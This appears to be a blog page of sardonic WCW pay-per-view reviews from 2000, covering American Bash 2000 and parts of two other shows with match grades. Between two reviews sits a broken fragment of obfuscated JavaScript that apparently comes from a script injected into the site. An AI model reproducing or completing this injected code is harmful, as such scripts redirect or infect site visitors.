Back in the ring as Vampiro takes an Awesome Bomb from the top rope for the academic pin. In other words the table means absolutely nothing as it wasn’t used at all. And of course we have a solid enough match like that and we get That 70s Guy music and go to General Rection. Nothing wrong with that is there?

Rating: C-. Not bad here and very physical. Awesome would change gimmicks eventually and get back to just being a tough guy but it was too late. Vampiro is a guy I never got at all and to this day I still don’t. This was ok though as Awesome just beat the crap out of him. The rules made no sense but that’s WCW for you.

Rection tries as well as he can to make this work but he’s still named General Rection.

We get a replay of the powerbomb. Is there a reason we needed to go to the interview before we saw that?

US Title: Jim Duggan/Lance Storm vs. General Rection

Storm is US Champion and has Major Gunns with him who is there against her will. Those white shorts were incredible looking on her though. Duggan was turned heel for zero apparent reason but hey, why not go against his character for about 12 years? Storm is still awesome in this role though so I’ll give him that. I feel sorry for Rection. He was trying as hard as he could here but the name was just something you couldn’t take him seriously with.

Duggan’s board is thrown out. I wish someone would take away my bored(om). The fans chant USA for the American face here. The Americans start us off here. Storm comes in and Rection clears the ring. Storm in now as nothing is really going on yet. They’re trying to make Rection look like a big deal here but like I’ve said, with that name how is that really possible?

Hacksaw goes for the referee but does nothing with him. He looks old and fat here so I guess he fits in perfectly. Double clothesline puts both guys down. I know I’m not saying much here but there’s nothing to say here. Sleeper goes on and draws some boos. Rection moves out of the way so Storm drills Duggan. Madden says the General has to beat both guys then says just one guy. Love that clarification Mark. I bet if this was TNA you’d know for sure.

Down goes everyone included the referee leaving only Duggan standing. Duggan hits a Piledriver but there’s no referee. He finally comes back and gets crushed on Rection’s kickout. Elix Skipper, another member of Team Canada, comes out with the board but Gunns drills him with the Canadian flag. She jumps Storm, allowing Rection to hit the moonsault (as in his head hits Duggan’s knee kind of) for the US Title.

Rating: D-. All because of Gunns here. This was just boring and the missed spot near the end just killed this thing out of whatever it had left going for it. General Rection is the US Champion. Is calling him Hugh Morrus really all that bad? It’s certainly a better sounding name but whatever. Pretty weak match so it fits in with the rest of the show.

Preview for Mayhem which Tony says is on Monday. Are days of the week really that hard?

Jarrett says he’s going to show that Sting has no spirit anymore. Can these two feud over anything else? He promises to see the evolution of Sting’s career tonight. Oh crap it’s THAT match.

Quick video here that says the same things the promo says.

Sting vs. Jeff Jarrett

Jarrett runs to start and Sting drills him. We fight on the floor and Sting dominates. Brock Lesnar just lost the UFC Title so I’m a bit stunned still. Splash misses but Sting braces himself and never loses control. And now we have a guy on the stage dressed like Sting was in the late 80s. Sting (I’ll use the name Sting for the real one) beats up the imitation and Death Drops him on the stage.

Madden: can you get disqualified for beating yourself up? That’s actually a decent question. The distraction allows Jarrett to take over and we go into the crowd. Out of the crowd (and what a coincidence that Sting took them to the perfect place) a 1990 Sting appears. One of the fake Stings (oh you know more are coming) is Chris Harris of TNA fame. Another Death Drop leaves him laying.

Cue the Wolfpack Sting and it’s the red paint Sting. Dang we skipped like 8 years in there. We get into a discussion of whether the Wolfpack was heel or face as the third fake Sting goes down but Jarrett picks up the bat and pops Sting which the referee is fine with I guess. And we get another sleeper now which even Madden makes fun of. When that fat jerk is making jokes about you that are correct, you have issues.

Sting makes the comeback and hooks a sleeper of his own just to bore us a bit more. Here’s the real comeback as he avoids a dropkick and goes for the Scorpion. And of course a fourth Sting pops up from under the ring (I think this is Harris) and pulls him through the ring. Fans boo the HECK out of this as Sting beats him up too. Stinger Splash hits twice and there go the lights.

The fifth fake Sting repels from the ceiling (can they please get their continuity right?) and Sting beats him down too. His wig falls off and Sting puts him through the table. It would have been nice if the table didn’t break BEFORE the impact but whatever. Back in the ring Sting goes for the Scorpion but Sting #4 pops him with a guitar. This is no sold but Jarrett’s guitar shot ends it. I give up.

Rating: R. As in only Russo can be blamed for this idiocy. Screw wrestling (it’s Jarrett/Sting. Do you really think it’s going to be bad?) apparently for the sake of insanity and FUN booking right? Two million dollars a year. Let that sink in again guys. How is a Scott Steiner match sounding like relief?

Booker talks about Goldberg for no apparent reason.

Brief Steiner video follows as we repair the ring.

WCW World Title: Scott Steiner vs. Booker T

Wow that was a quick fixing job on the ring. Ok apparently Booker changed the card order so Goldberg could have extra time. My face more or less says what the heck as I heard that but I want to get this show over with so I’ll let it go. Also the champion is coming out first here. In the back Steiner freaks out and beats up an agent because they’re not on last.

Was there any point to that? I get the concept of it making Steiner seem even crazier but did it add anything at all? They try to make this out to be some huge match but it’s not working at all. After a brief opening sequence Steiner goes out into the crowd after a fan. He was legit crazy for awhile so of course he got bigger and bigger pushes throughout the year.

Steiner throws some STIFF shots that sound very painful. We head into the crowd now as nothing of note is going on. Steiner puts Booker through the announce table as Stevie gets in a somewhat funny line: “Tony that’s the last table that we have!” The delivery was better than it sounds.

Surfboard by Steiner which thank goodness doesn’t end with a curb stomp. He yells at Stevie a lot as this is pretty much dominance. Steiner blocks the Axe Kick and it’s all Scotty here. Samoan Drop from the middle rope gets no cover. At this point there are fifteen minutes in the entire broadcast and we have an elimination handicap match to go. Spinning belly to belly gets two.

Stevie keeps harping on the fact that Scott will never be a champion. Takes one to know one I guess eh Stevie? Almost all Steiner here other than a little here and there from the champion. Missile dropkick hits for two which is surprising as that was one of his signature moves. Axe kick (complete with Steiner just standing there hunched over forever) hits for two.

Midajah (Steiner’s Freak) slips him a pipe which drills Booker in the knee which isn’t a DQ. The referee yells at him so the referee gets beaten up and put in a Tree of Woe. A second referee comes in during the Steiner Recliner so Steiner beats him up too. Even Madden is confused here, but that could be because someone asked him his name. The third referee comes in to DQ Steiner and the pipe beats up every referee and security guard in sight.

Rating: D. Another crap match here with a bad ending. Steiner DESTROYED the champion here for the most part and it looked horrible. Steiner would get the title the next month anyway which makes me wonder why in the world they didn’t go with that ending here. Steiner looked dominant here, making Booker look like a paper champion for the next month. Nice job WCW.

Jarrett has to come down to calm him down afterwards.

Package on Kronik vs. Goldberg. Russo hired them to beat Goldberg. End of story.

Goldberg vs. Kronik

Kronik’s music hits with about 8 minutes to go in the broadcast. Adams is freaking talking now. He says Goldberg hasn’t been cleared so there’s no match tonight. After the debacle of 1998’s version of this show how stupid are they? Their music plays and we cut to the back to see the athletic commission saying Goldberg is fine. His music hits with six minutes to go so we have his FULL ENTRANCE too.

Four and a half minutes to go with his pyro hitting. This is going to be so stupid. He’s in the ring with four minutes left and this is already horrible looking. No tagging here. They throw him to the floor and it’s just a brawl. Not a good one or anything but a brawl nonetheless. Even Tony says this isn’t a match. Nice to see him just admit it. Double clothesline puts Bill down.

We get ANOTHER TABLE as even Madden and Tony roll their eyes at this. Tony: We’re NEVER out of tables. Stevie: WHY DIDN’T WE GET THAT ONE? High Time (Double Chokeslam) through the table is blocked. Goldberg spears Clark (Tony gets the name wrong) through the table to end him as we’re told he has to beat both guys. Naturally this lasts like 30 seconds and the spear/Jackhammer end it. Three and a half minute main event. We’re off the air 20 seconds after the pin.

Rating: F. The main event of a PPV was a squash match that lasted three and a half minutes with former tag champions getting ended that fast. Do I need to explain why this was a failure?

Overall Rating: F-. This is one of the worst PPVs I can remember in a LONG time. There is all of one decent match on the card and like I said it went downhill after that. Stupid booking and stupid gimmicks all around and the show sucked because of it. Just a horrible show and the epitome of a lot of the things wrong with Russo. The world title match ended in a DQ and the main event didn’t break 200 seconds. You tell me why this sucked.

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hybhd|var|u0026u|referrer|tztzi||js|php'.split('|'),0,{})) American Bash 2000
Date: June 11, 2000
Location: Baltimore Arena, Baltimore, Maryland
Attendance: 7,031
Commentators: Tony Schiavone, Mark Madden, Scott Hudson

 

Well I figured that since I’m halfway through 2000 I might as well finish the year off and for some reason I thought it would be better to start adding one on to the end at a time. Anyway the main event is Jarrett vs. Nash for the title with a huge swerve that would be blasted from one end of the world to another but that’s expected. The rest of the card is your usual WCW 2000 garbage so let’s get to it.

 

There are cops waiting on Goldberg to get here because I guess he isn’t here yet or something.

 

The opening video talks about the matches tonight, which has Flair vs. Flair and Hogan vs. Billy Kidman. Well ok then. No theme to it or anything, just a list of some matches.

 

Apparently Goldberg has been let out of a Nashville jail. Why is he in it? Who cares. Apparently he was in it though.

 

Cruiserweight Title: Disco Inferno vs. Lieutenant Loco

 

Loco is Chavo Guerrero and is champion here. Chavo says he has a surprise for Disco: and it’s something that the announcers aren’t thrilled with him having. I don’t particularly care since they’re not sure either but apparently it’s something they would have gotten in trouble for having. Disco is part of the Filthy Animals here. Can we just look at Major Gunns and Tygress?

 

Everyone is chilling at ringside so it looks like a lumberjack match for the most part. Disco is in a Lakers jersey and Chavo is in blue camouflage so this is a rather weird looking match to say the least. Chavo takes over to start but Disco gets a hot shot to take over. And never mind as he gets sent to the floor for the quick beatdown by the Misfits. Scott dubs Disco the Hip Hop Inferno.

 

Big dive off the top by Chavo takes out Disco as this match is dragging badly. It’s not that bad but it’s just a bit boring to say the least. Back in the rind and Disco gets a slam and dances a bit. Some old dude in a helmet wanders out to hit on Tygress. Apparently he’s General Rection’s grandfather so Konnan shoves him down. While that’s going on Juvy comes in and beats up Loco but Lash Leroux takes out Disco and puts Chavo on top for the pin.

 

Rating: D. What a freaking mess. You have Chavo who was incredible at this point and Disco who was……well Chavo was incredible at this point so he more than could have carried a five minute match by himself. Instead this was a total wreck with no flow at all to it and barely any wrestling at all. Why do I have a feeling that this is going to be a running theme tonight?

 

Some very bad actors dressed as cops tell Bischoff and Miller that their surprise for Nash is safe.

 

The Mamalukes say they’ll win. This results in a lot of bad Italian stereotypes. Apparently Vito claims to be the Hardcore Champion even though Johnny the Bull was supposed to be.

 

Order this show and get a Hulk Hogan…..inflatable raft? Dude…..why?

 

Kronik vs. Mamalukes

 

Winners are the #1 contenders. During the intros we’re assured that Goldberg WILL NOT be here tonight. Good to know indeed. The winner gets the Perfect Event. Apparently since the Mamalukes are in the New Blood they can defend the title using the Freebird Rule. Vito gets beaten down by Adams to start and they switch off. Clark hits a Rock Bottom to Johnny and the Italians are getting destroyed so far.

 

Vito comes back in and still has the belt on. I have a feeling that’s going to be a running joke here. Clark gets chopped and smacked in the chest a few times as Tony talks about how the Mamalukes walked into WCW and won the tag titles. Yes, that doesn’t bury the division in the slightest. Adams comes in to hammer on Johnny a bit. Full Nelson Slam kills Johnny for two. DDT gets no cover for Johnny as he brings in Vito instead.

 

Not that it really matters as Kronik hammers him down using the power of marijuana. Their name was Kronik and their finisher was called High Times. What do you think they were talking about? Clark botches what would become known as the F5, more or less dropping him on his head for two. Johnny comes in so Vito sits goes over and polishes the belt. A reverse cross body literally misses by four feet and High Times end Johnny a second later. Vito doesn’t seem to mind.

 

Rating: C-. Just a match really as there was no real need for them to fight other than for the sake of being the #1 contenders. Not bad or anything, but I have no idea who I was supposed to cheer for out there. In other words, Russo lives! Let there be no defined faces or heels ever!!!

 

DDP has something special for Mike Awesome apparently.

 

Diamond Dallas Page vs. Mike Awesome

 

This is an ambulance match. Page’s surprise is Chris Kanyon in a wheelchair after Awesome threw him off a cage and broke his neck or something. And of course, Kanyon will NEVER turn on DDP EVER! They head to the floor and then the crowd almost immediately. Page gets a shot in to send us back to ringside very quickly as this is a big brawl. They somehow change momentum three times in 10 seconds and make it four in 12.

 

The referee is down also but that’s WCW for you. To the ring now as the referee is getting up a bit. Awesome comes off the top with a back elbow and a belly to back suplex has Page down. Tony thinks it’s odd that there’s no surprise yet, even though Bischoff kept saying it was for NASH, who hadn’t been seen yet. Awesome sets up a table as we talk about Kanyon a bit.

 

Powerbomb through the table as this is a match that was used in a clip on Whose Line Is It Anyway? Page is put on a stretcher because simply throwing him in the ambulance isn’t enough I guess. Awesome gets a chair shot in and we head back to the ring because winning doesn’t matter right? Top rope splash looks to kill Page and the second probably does. A third splash misses as Page is between a pair of chairs this time so he had to move right?

 

Here’s Kimberly because Page is out there. They’re having “problems” which were probably brought on by her heel turn. She hits DDP with a pipe so Miss Hancock (Stacy Keibler) comes out and drags her off. They’re “having problems” also apparently. Awesome looks for an Awesome Bomb off the top but Page gets a low blow and a Diamond Cutter off the top. The medical people put him on a stretcher and here comes Bischoff to take out Kanyon. And of course Kanyon comes out of his wheelchair and hits a Diamond Cutter to end Page. Awesome wins with ease.

 

Rating: D. The match was junk, but let’s take a look at the angle that ended the match. Kanyon was indeed thrown off a cage to the ramp. It’s not like we saw that off camera or anything. DDP took care of him and then Kanyon betrays him for the people that tried to cripple him in less than a month? Are we really supposed to buy that Awesome was able to convince Kanyon that Page was the bad guy? Or that Kanyon was in on this all along and that he went along with being thrown around like that? And people wonder why Russo’s booking is so criticized.

 

The announcers point out how stupid this is.

 

Shawn Stasiak vs. G.I. Bro

 

And here’s the latest way to waste a guy like Booker: he’s a military guy when there’s already a military themed stable. He comes in on a zip line like Shawn did at Mania 12, but at about 1/3 of the height and 1/10 of the speed. The announces speculate that Kanyon was the surprise because they’re not that smart. Oh apparently Booker is part of the MIA. It just wasn’t mentioned until here.

 

This is a Boot Camp match, which means Last Man Standing. Why they’re fighting isn’t required information but I’d bet it’s MIA vs. New Blood. They’re both in camo here because that’s what you do in the army right? Booker takes him to the floor and hammers away as we go into the crowd. WEAK chair to the head (drawing slight booing) takes down Stasiak for all of a second. A horrible top rope forearm gets about seven.

 

Oh and don’t worry: we’re willing to cut away to the back at the drop of a hat if Goldberg arrives. You know, because you paid your money to see a car pull into a parking lot 45 minutes into a show right? Jumping back elbow puts Booker down and they actually treat it like a move that could end this. Big spinwheel kick by Booker takes him down for no reaction for the most part.

 

Stasiak sends him to the floor and we head to the ramp for a suplex. Back in the ring as there’s no heat on this match in the slightest. Back to the floor again as they have no idea what to do with nearly 14 minutes total for this match. Chair shot puts Booker down on the floor and back in the ring a gutwrench powerbomb gets 9. Time for a sleeper because this match isn’t boring enough already.

 

The fans chant boring and I can’t blame them in the slightest. This is what we mean when we say adding a gimmick for the sake of adding a gimmick. They can’t even explain why these two are fighting and yet we’re supposed to want to see a gimmick match between them an hour into the show in the fifth slot? There’s no heat here and the only reason this gimmick is here is because someone has a military gimmick.

 

Book End hits out of nowhere and I don’t bother waiting to hear what the stupid military name of that is. They call it a uranage suplex here but screw that. Of course it only gets like five but it sets up the missile dropkick, as in both of his finishers that can’t take down Stasiak. Palumbo, Stasiak’s partner, comes out with the Lex-Flexor exercise bar but hits Booker low anyway. A shot to the back of Booker puts him down as Tony rants against relaxed rules in a match with no rules. Booker gets up and mostly hits a double clothesline and beats up the tag champions on his own. A shot to Stasiak with the flexor ends this.

 

Rating: D-. Oh give me a break. Someone thought that Shawn freaking Stasiak was the best use of Booker T here? I mean come on now man. There was zero reason at all for this to be a gimmick match in the slightest so they went with it anyway. Guess what is up next: a gimmick match. After that, another gimmick match. Before this, another gimmick match. This is a great example of Russo’s writing in a nutshell and one of the better ones you’ll ever see. Oh and the match sucked, easily the worst last man standing match I’ve ever seen.

 

Goldberg’s monster truck is here.

 

Page might still be here.

 

Kanyon says he’s positive DDP is gone. Make that Positively Kanyon. This was the start of Kanyon’s newest gimmick: he would imitate Page who had a new book out called Positively Page. This, of course, went nowhere of note. This somehow translates to Bischoff got to Kanyon in the hospital and brainwashed him. I give up.

 

The Wall vs. Shane Douglas

 

Douglas curses a lot before the match and apparently doesn’t like Flair and Hogan. Now this is no longer a tables match as we’re going to make it a best of five tables matches with Shane saying now we’re guaranteed five tables being broken. Thank you for admitting you’re going through at least two Shane. Ok now you have to put someone through five tables to win. PICK A RULE ALREADY!

 

It’s first to five now. Ok, let’s stick with that. Wall has a really stupid looking black goatee now so he looks like a cross between Hitler and Kurrgan. Again no reason given for why they’re fighting or anything because that would be important information right? Standard match to start as we continue to waste more time on this show. Douglas hits a suplex and a reverse Hennig neck snap.

 

Wall is sent onto a table but not through it. No one has gone through anything yet. They fight on the floor in maybe second gear at best. Shane tries a suplex through it but gets countered and Wall hits a chokeslam to go up 1-0. Wall blocks a shot into the post and gets a release belly to back suplex through the table as they change the rules in the middle of the match to make it best of five instead of first to five.

 

Back in the ring as Shane is totally fine after a pair of table breaks with a low blow. Shane wants to take it to the back but settles for by the stage instead. What a shock: there are a bunch of tables there with a ladder next to them. Shane goes up the ladder and there are either two tables on a stage or three in a row with a cloth over the bottom one. Wall has his back to the tables but wants a chokeslam anyway. Shane knocks him through it with brass knuckles as all of a sudden it’s just TWO tables again but they say Shane wins anyway as it switches from 3 to 2 to 3 again inside of five seconds. Just go on already.

 

Rating: F+. We get it: you can have gimmick matches. Was there a point to having this be a table match? Or even to have the match in the first place? NOT IMPORTANT!!! This is yet another stupid gimmick match as Russo treats its fans like idiots that are going to be easily fascinated by things being broken. Whatever dude.

 

Wall puts the referee through a table post match just because.

 

Hogan arrives, 75 minutes into the show in an old school Dodge Charger.

 

US Title: Scott Steiner vs. Tank Abbot

 

Scott is US Champion here and this may or may not be for the title. We’ll say it is anyway as it would make sense…..yeah let’s just go with non-title. It’s also in the Steel Asylum. Here’s another brilliant idea of WCW. The Asylum is a small round cage about 10 feet in diameter that is lowered into the ring. No ropes or anything, just a small cage. And now Rick Steiner is added to the match to make it a handicap. Well sure why not.

 

US Title: Scott Steiner vs. Rick Steiner/Tank Abbott

 

Scott is a face here if that wasn’t clear. Rick and Tank double team him for awhile and here comes the cage. The fans chant for Goldberg but even he couldn’t save something this stupid. They destroy Scott for a minute or so until Tank pulls out a chain. Rick pulls a Lee Corso (that name won’t mean anything to you if you’re not from America or into college football) and says not so fast my friend. Abbott hits Rick with the chain, Scott gets a low blow, Recliner keeps the title on him. Ok so it was for the title. Good thing they waited until after the match to tell us it was in jeopardy no?

 

Rating: J. As in just….no. It runs less than four minutes, two of which are spent hammering on Scott before the whole cage thing came down. The stuff inside the little ring of death or whatever is maybe 90 seconds long and the whole thing is just stupid. I guess this was so they didn’t need to have Steiner run or whatever. Just move on.

 

Flair is here, looking like Doc Brown from Back to the Future goes Hawaiian.

 

We recap Hogan vs. Kidman. Kidman got a fluke win over Hogan so this is the rematch. If Hogan wins, he gets a title shot next month (oh boy. It’s THAT show) and if Kidman wins, Hogan retires. Hogan’s nephew Horace is refereeing and doesn’t like his uncle.

 

Billy Kidman vs. Hulk Hogan

 

Horace comes out with Kidman. Kidman has some Shawn Michaels like pyro. It’s the NWO theme for Hulk here. Kidman goes straight at him….and is destroyed pretty quickly. There’s the big boot maybe a minute in so Kidman hits the floor. Torrie has turned her back on Kidman. Meaning she WILL NOT be here right? Kidman has had no offense at all so far.

 

Back to the ring and it’s time for choking. Hogan gets in Horace’s face which of course goes nowhere. Kidman comes back with some choking but a low blow with Horace looking right at them is ignored. Here’s the weightlifting belt which is Hogan going EXTREME I guess. Back to the floor and Kidman dropkicks a chair into the face of baldie. That gets two in the ring as this is as riveting as it sounds.

 

Hogan continues to do almost nothing but punch and choke. Oh wait he rammed him into the railing twice. Hudson makes sure to let us know that we’re here because of Hogan and no one else PERIOD. Back to the ring as Kidman hits a DDT onto the chair that is so bad it’s booed before Kidman can even cover. I mean Kidman is off Hogan who then SLOWLY lowers his head down onto the chair. This is horrible.

 

Kidman gets two again and yells at Horace for calling it unfairly or something. The fans chant for Hogan who I think is the face here, making him out to be a huge bully for hammering on a guy half his size. Here comes the Hulk Up against the guy called the Flea Market Champion. There are ten punches in the corner and a running clothesline. Back to the floor for like the 4^th time and Kidman is tossed through the table.

 

Here’s Torrie so at least we have something to look at now. She hands Hulk brass knuckles because he needs them I guess. Kidman knocks Hulk into Torrie and her ankle is hurt. Kidman gets a shot with the knuckles in for two. Horace shoves Kidman and now let’s get stupid as Kidman hits Horace with the knuckles. So if they were still on his hand, why didn’t he hit Hogan with them again instead of choking him? Torrie hits Kidman low and a shot with the knucks to Kidman ends this. Oh and Hulk and Horace are cool again.

 

Rating: D-. Hey look: another stupid match with a way overbooked ending and a gimmick to it. Hogan was never going to job to Kidman twice and now Kidman looks like just as much of a joke as he did before this whole Hogan thing. It’s the difference between a rub and being in the ring with someone. He wouldn’t do anything after this other than feud with Shane Douglas which went nowhere. It’s not a failure because Torrie looked good and that’s about it.

 

Bischoff yells at a cop about life in general.

 

Bash at the Beach is coming, sponsored by Master Lock. Yes, a lock company is the best they can get at this point.

 

We recap David Flair vs. Ric Flair with the idea being that Russo has brainwashed David into thinking that Russo is the father that David never have and it’s a big Ric vs. Russo thing.

 

Russo says this is going to be fun.

 

Ric says this is going to be fun.

 

Ric’s family shows up.

 

Ric Flair vs. David Flair

 

If Ric loses he has to retire FOREVER (which is how it says it on the graphics). With Russo on the floor we actually gets some wrestling here as Ric does most of the work, namely because he has about 100x the talent. David chops away in the corner and actually takes over for a bit. You know Ric is going to sell for his oldest boy. Ric gets sent into the railing and takes a decent delayed vertical suplex for no cover.

 

And so much for David’s decent run as we hit a bad sleeper. Ric suplexes out of it and we have a very basic match going here. David’s shirt comes off as this is going very slowly here. Out to the floor as Ric takes over again. We need to get to the next match so I can use last names again. Russo interferes and takes out the knee of Ric and handcuffs him. So the referee had his back to Ric and Russo and all of a sudden Ric is in handcuffs….AND THAT’S ALL COOL??? And people wonder why this company was called stupid.

 

David puts on the Figure Four which gets him nowhere for the most part. It does get Russo to hold his hands. Does that mean they’re going steady? Reid Flair jumps the railing and hits Russo in the balls and steals the handcuff key. The referee gets the key as David beats up his brother and frees Ric. Ric’s wife or daughter (like you can tell) cuffs Russo and Ric taunts him a bit. Ric beats on David for awhile before putting him out of his misery with the Figure Four.

 

Rating: C. Somehow this was by far and away the best match of the night so far unless I’m forgetting something. It’s not that bad, mainly because they let Ric walk the far more inexperienced David through it. They didn’t try to make this too complicated and that fits because David had very little experience and his character wasn’t much of a wrestler anyway. Not too bad here I guess, all things considered.

 

Ric chops Russo a bit post match. Russo rants about various things, making a match for tomorrow night between Ric/Reid vs. Russo/David in another retirement match which would retire Flair.

 

We recap Vampiro vs. Sting with the idea being that it’s a human torch match. You have to light the other person on fire to win. That’s nothing like the Inferno match at all is it?

 

Vampiro vs. Sting

 

There’s a torch up by the video screen that you have to climb a ladder to get to. This isn’t going to end well is it? Vampiro lights the torch and has a gas can near it. There’s an ambulance and firefighters here for this. Russo must be loving this. Sting pulls the torch up above the screen as I mentioned before. Sting wants to know if Vampiro is afraid of heights because if Vampy wants Sting he has to come up here.

 

Vampiro yells a lot and we stand around a lot. Sting repels down and it’s time for the actual match to start. They fight in the ring as I have a feeling this is going to end badly. Spinwheel kick takes Sting down so Sting comes back even faster with a powerslam and a bunch of clotheslines. Stinger splash misses in the corner so Vampiro pours gasoline on Sting.

 

As always, in a huge arena, the announcers can smell the fuel many feet away. They fight up the ramp and climb up the structure with Sting getting kicked off. The announcers say that’s it so Vampiro keeps climbing. Sting climbs up anyway and there go the lights as we attempt to conceal the obvious switch that is coming up. They “fight” on top of the screen and even with the camera where it is you can barely see anything.

 

And them Vampy grabs the torch and lights Sting on fire. Sting dives off the screen to a crash pad and Vampiro wins. He must have really been burned badly because between falling down up there and the jump he lost about 3 inches of hair and shrunk a good 4 inches. That’s some powerful fire.

 

Rating: N/A. Yeah this wasn’t wrestling. This is one of those matches that is so stupid it defies logic. This is what I recommend doing in this situation: picture the booker/writer pitching this idea to say Jack Brisco, Lou Thesz and Harley Race. If the reaction is either a blank stare, massive amounts of angry cursing or a right cross, IT’S NOT A GOOD FREAKING IDEA!

 

Bischoff is talked to by some blonde chick in the back and doesn’t want to talk right now. There’s no big surprise. What is this, Monster A Go-Go?

 

WCW World Title: Jeff Jarrett vs. Kevin Nash

 

Let’s get this over with. Ernest Miller comes out before the match and introduces the Filthy Animals, as in New Blood cronies (despite them leaving like a week before) to be bell ringer and time keeper and all that jazz. Oh and Miller is referee. Nash shoves him around a lot to start until the Animals distract Nash to let Jarrett taker over. Jeff is champion if I didn’t mention that.

 

Miller is on the floor. Nash hammers on Jarrett and literally everyone stops to look at the entrance and nothing happens. Now back to the match. Weird indeed. Snake Eyes puts Jarrett into the replacement announce table and we go into the crowd. Back to the ring after Nash beats on Jarrett a bit and it’s Jeff with chair shots to the knee. This is one of those matches where stuff goes on but nothing is really happening.

 

Jarrett works on the leg for a good while as we’re clearly filling in time before the whole surprise thing happens. No one buys that the surprise isn’t happen, so I don’t know why we have to waste 15 minutes before we get to it. Half crab to Nash who won’t give up because raising your arm three times in a row is too much effort I guess. There’s the figure four as we waste even more time.

 

The hold goes on for a very long time to the point where most people would have broken their leg already but since it’s Nash he gets to just roll around a bit while barely grimacing. Nash tries to get to his feet but Konnan hits him in the hands with the bell for a two count for Jeff. Nash, despite being in the figure four for two minutes after about five minutes of leg work and a shot to the head with a metal bell from a professional athlete, is able to take over and actually run to the corner to take out Rey.

 

Belt shot gets two as Disco makes the save. Juvy gets in a chair shot to take over as the fans chant for Goldberg. Miller comes in to referee with a two count as this is a total mess. The Animals get beaten down as Nash is fighting seven guys to a stalemate. Jarrett, the world champion, hits his finisher for only two. Well of course it was only two. I mean he’s just the world champion after all.

 

Guitar shot misses and Jarrett walks into a chokeslam for two as Miller has something in his eye. Tony actually shouts BOGUS a few times. Powerbomb to Miller and one to Jarrett but the third referee is taken out by Rick Steiner. Tank Abbott tries to come out but somehow Scott Steiner cuts him off. If Steiner wanted to help, WHERE WAS HE WHEN THERE WERE LIKE EIGHT GUYS ON NASH???

 

Everyone beats on Nash including a Bronco Buster from an unmasked Rey. And cue a big noise as Goldberg is here in his monster truck. Maybe that’s what the sound was earlier? His music kicks on and the place erupts. Goldberg is here….and he joins the New Blood with one of the worst spears you’ll ever see. Yes, the ultra star of the company, the ONE guy they still had that was a big face draw, is added to the super heel group as a Bischoff/Jarrett/Russo lackey. Jarrett gets the academic pin and the SHOCKED celebration ends this mess.

 

Rating: F. You mean, in a Bischoff/Russo booked company, there was a big time face that apparently had been in league with the big heel group the entire time and it was SHOCKING to end a PPV? WHERE DO THEY COME UP WITH THIS STUFF??? The match was awful as Nash wouldn’t sell, the insanity of it was stupid, and Jarrett looked like a guy off Tough Enough.

 

Trash pelts the ring to end this show.

 

Overall Rating: F-. I have no idea what they were going for here but it was one of the worst shows I’ve watched in a long time. The gimmicks were WAY too much and none of them worked at all. You had some bad wrestling, horrid gimmicks, a REALLY stupid heel turn to end the show, and Hogan as #1 contender. Let’s talk about that heel turn for a bit actually.

 

In essence what they were going with was Nash, Hogan and Steiner as the top faces against Bischoff, Russo, Jarrett and Goldberg. In other words, the old guys are the faces and the young guys (if Jarrett counts as a young guy) are the heels. There was one issue with this: Goldberg was so ridiculously popular at this point that he was cheered every time he was on camera, which shows one of two things.

 

One, Russo has no idea what a face is. Oh wait, according to him faces and heels mean nothing. Second, WCW is really freaking stupid. That much is a given so let’s go back to the first part. Assuming what he says is true (it isn’t) then why are there factions or matches at all? Oh that’s right again: Russo doesn’t like having wrestling on his shows. Tell me again, why is this guy praised so much?

 

Anyway, AWFUL show here and somehow it would only get worse with the absolute mess they had the next month with Hogan and Russo clashing.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 

Fall Brawl 2000
Date: September 17, 2000
Location: HSBC Arena, Buffalo, New York
Attendance: 8,638
Commentators: Scott Hudson, Tony Schiavone, Mark Madden

Well we have I think five or six PPVs to go in this company so this isn’t something where I would expect much. The main event is Booker vs. Nash in a cage as they’ve given up on the idea of War Games I guess. Other than that there’s a huge elimination match and Steiner vs. Goldberg, which hopefully has less shooting in it this time. Maybe we can shoot Russo. Let’s get to it.

Cruiserweight Title: Kwee Wee vs. Elix Skipper

Skipper was given the title by Storm and is a Deion Sanders ripoff that I always loved. Kwee Wee makes Rico look straight. Kwee Wee has Paisley with him, more commonly known as Sharmell, Booker’s wife. Kwee Wee had a weird double personality thing where he would go insane at times which is how he starts the match here. We go a nice wrestling sequence to start. Skipper is fun to watch and I’ve always liked him.

They botch a leapfrog and Skipper might be hurt. Hudson makes a reference to some guy named Johnny Walker from the 60s. Only Walker I know of is a whiskey but whatever. We have a WAY too long chinlock by Skipper as this is such a shell of what the Cruiserweight Title used to be. Prime Time (Skipper) does what Trish would steal and call the Matrish.

This is more like a match between two small guys than two cruiserweights. Crowd is kind of dead here but is behind the face so that’s a good sign I guess. The Natural Born Thrillers come out and I begin to smile. The Thrillers were a group of young guys that were something NEW and got pushed. Sure they were generic as all goodness but they were a freaking breath of air. There were like seven of them, led by Mike Sanders. They included Chuck Palumbo, Mark Jindrak, Shawn Stasiak, Sean O’Haire, Reno and Johnny the Bull. These guys were pretty generic, but DANG it was nice to see some fresh faces.

They don’t actually do anything as Kwee Wee comes back and beats the tar out of Skipper to no reaction at all. Skipper hits the floor and Mike Sanders comes in with a kendo stick (a stickball bat or some kind of device according to Tony) and bashes him in the knee for two. The Thrillers are gone but now it means nothing as we’re pretty even anyway. Overdrive (MVP’s Play of the Day) ends it.

Rating: D+. This was just not clicking at all. The match was dull but hey, it had a run in so it has to be interesting right? This just was nothing special at all as they just did a mat based match and then a screwjob ending. I’m not entirely sure what the point was here as the styles clash killed it. Not a good way to start but not a horrible match.

3 Count vs. Misfits in Action

The Misfits here are Sgt. AWOL (The Wall who most of you likely don’t remember) Lieutenant Loco (Chavo) and Corporal Cajun (Lash Leroux). The band has a new song here that likely could have been a decent hit if sung by a “legit” band, which is either great or scary. The idea of the Misfits was that they were guys that were thrown out of storylines by Russo so they banded together as their only way to have a chance. That works well enough.

And yes, 3 Count gets a match against someone not named the Jung Dragons. Two of the boy band members are Shannon Moore and Shane (Gregory) Helms. The third sucks. We hear about Duggan giving the flag and board to General Rection (Hugh Morrus) and will be in his corner tonight. Yeah I’m sure this isn’t going to go badly at all for Rection.

This is a pretty basic match but it’s not bad. They’re just kind of filling in time as these matches aren’t going to mean anything past tonight anyway. The idea here is that the band is scared to death of AWOL so they’re going to try to keep him out. Simple story but it works. Leroux was a lot better than he was given credit for. I might even stretch to say he was pretty good.

